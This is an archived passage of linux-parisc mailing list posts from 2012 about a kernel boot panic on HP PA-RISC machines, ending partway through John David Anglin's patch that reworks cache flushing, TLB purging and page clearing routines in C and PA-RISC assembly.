Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Vincent wrote:
> Hi parisc folks,
> 
> I have noticed that the mainline kernel won't boot any more on my
> hp712/100, starting with v2.6.39. It panics in
> flush_instruction_cache_local.

See the mail thread "Boot error using 3.2.1: swapper (pid 1): Illegal 
instruction (code 8)" I started when I first hit this on my 705. But James 
doesn't care.

Eike
--nextPart2319414.k4sKqThIxP
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+qFGsACgkQXKSJPmm5/E6BiwCfcXYVrmZoJQQel0fDJ8FEos7r
bcoAn34m63DmZckNtBtlmfG6WdQb9tVx
=fo0a
-----END PGP SIGNATURE-----

--nextPart2319414.k4sKqThIxP--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Wed, 9 May 2012 13:01:11 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20120509130111.458b1660@pyramind.ukuu.org.uk>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	<20120505115851.1fecbe50@pyramind.ukuu.org.uk>
	<Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
	<CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
	<Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336564718 18430 80.91.229.3 (9 May 2012 11:58:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 11:58:38 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 13:58:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SS5XP-0002Zd-BG
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 13:58:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754180Ab2EIL6e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 07:58:34 -0400
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:36128 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752695Ab2EIL6e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 07:58:34 -0400
Original-Received: from pyramind.ukuu.org.uk (earthlight.etchedpixels.co.uk [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.5/8.14.1) with ESMTP id q49CSNCd016939;
	Wed, 9 May 2012 13:28:28 +0100
Original-Received: from pyramind.ukuu.org.uk (localhost [127.0.0.1])
	by pyramind.ukuu.org.uk (8.14.5/8.14.5) with ESMTP id q49C1BiM021703;
	Wed, 9 May 2012 13:01:12 +0100
In-Reply-To: <Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4328 gmane.linux.kernel:1294104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4328>

> And what about x86? --- irq 0 is used for timer and there is
> void __init setup_default_timer_irq(void)
> {
>         setup_irq(0, &irq0);
> }

That's an internal curio not exposed outside (or at least not in a way
that matters).

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 09 May 2012 11:55:46 -0400
Lines: 1041
Approved: news@gmane.org
Message-ID: <4FAA9382.7040802@bell.net>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030502030704090705020604"
X-Trace: dough.gmane.org 1336580997 26307 80.91.229.3 (9 May 2012 16:29:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 16:29:57 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 18:29:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SS9lv-0002Y3-Tk
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 18:29:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758380Ab2EIQ3v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 12:29:51 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:59269 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755557Ab2EIQ3t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 12:29:49 -0400
X-Greylist: delayed 1994 seconds by postgrey-1.27 at vger.kernel.org; Wed, 09 May 2012 12:29:49 EDT
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SS9Ff-00047q-0d; Wed, 09 May 2012 11:56:31 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <41786065.U2qKzXR3uX@donald.sf-tec.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4329>

This is a multi-part message in MIME format.
--------------030502030704090705020604
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 5/9/2012 2:53 AM, Rolf Eike Beer wrote:
> Vincent wrote:
>> Hi parisc folks,
>>
>> I have noticed that the mainline kernel won't boot any more on my
>> hp712/100, starting with v2.6.39. It panics in
>> flush_instruction_cache_local.
> See the mail thread "Boot error using 3.2.1: swapper (pid 1): Illegal
> instruction (code 8)" I started when I first hit this on my 705. But James
> doesn't care.
There is a fair chance that the patch posted here 
<http://www.spinics.net/lists/linux-parisc/msg04068.html>
would fix the boot issue.   However, I recently discovered a build issue 
on non SMP configurations.  Attached
is an updated version.   It applies against 3.3.4.

It has been tested extensively on rp3440.

clear_user_page does not use the tmpalias region.  I believe the problem 
with the current implementation
is that the TLB setup can be clobbered if __clear_user_page_asm is 
reentered.

Signed-off-by: John David Anglin <dave.anglin@bell.net>

Dave

-- 
John David Anglin    dave.anglin@bell.net


--------------030502030704090705020604
Content-Type: text/plain; charset=windows-1252;
 name="cache-2.d.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="cache-2.d.txt"

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index da601dd..08f85dc 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..9400a62 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..100f409 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -460,10 +466,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..f31edc2 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -268,9 +268,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -316,7 +318,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -331,17 +333,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -375,20 +366,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -401,11 +381,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -460,8 +455,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -487,20 +539,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -513,3 +579,81 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..9a29e34 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
